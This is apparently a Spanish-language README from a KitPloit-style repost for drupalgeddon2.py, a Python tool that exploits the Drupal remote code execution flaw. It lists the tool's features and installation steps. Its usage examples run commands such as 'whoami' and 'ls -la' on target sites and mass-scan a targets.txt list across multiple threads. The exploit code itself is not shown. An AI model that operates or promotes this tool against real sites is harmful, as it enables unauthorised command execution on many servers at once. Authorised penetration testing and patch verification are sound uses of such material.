• Objetivo único o múltiple: Escanea una única URL o proporciona una lista de URLs desde un archivo.
• Ejecución de comandos personalizados: Especifica el comando que se ejecutará en el sistema objetivo.
• Multihilo: Ejecuta escaneos en múltiples objetivos de forma concurrente para evaluaciones más rápidas.
• Comprobación de vulnerabilidad: Realiza una comprobación básica para identificar si un objetivo está ejecutando Drupal antes de intentar el exploit.
• Registro de salida: Guarda los resultados del escaneo en un archivo de registro.
• CLI con colores: Salida limpia y con códigos de color para una mejor legibilidad.

⚙️ Requisitos

• Python 3.x
• librería requests
• librería colorama

🚀 Instalación

1. Clona el repositorio:
   root@kitploit:~

   git clone <repository-url>
   cd <repository-directory>
   

2. Instala los paquetes de Python requeridos:
   root@kitploit:~

   pip install -r requirements.txt
   

   (Alternativamente, instálalos manualmente):
   root@kitploit:~

   pip install requests colorama
   

Uso

El script ofrece varios argumentos de línea de comandos para personalizar su ejecución.

Ejemplos básicos

1. Explota un único objetivo con el comando predeterminado (whoami):

   root@kitploit:~

   python3 drupalgeddon2.py -t http://example.com
   

2. Explota un único objetivo con un comando personalizado (por ejemplo, ls -la):

   root@kitploit:~

   python3 drupalgeddon2.py -t http://vulnerable-drupal.site -c "ls -la"
   

3. Escanea una lista de objetivos desde un archivo: Crea un archivo llamado targets.txt con una URL por línea:

   root@kitploit:~

   http://site1.com
   https://site2.org
   http://site3.net
   

   Luego ejecuta el script:

   root@kitploit:~

   python3 drupalgeddon2.py -l targets.txt
   

Uso avanzado

4. Escanea una lista con un comando personalizado y más hilos:

   root@kitploit:~

   python3 drupalgeddon2.py -l targets.txt -c "uname -a" -T 10
   

5. Guarda la salida en un archivo de registro:

   root@kitploit:~

   python3 drupalgeddon2.py -l targets.txt -o scan_results.log
   

Lista completa de argumentos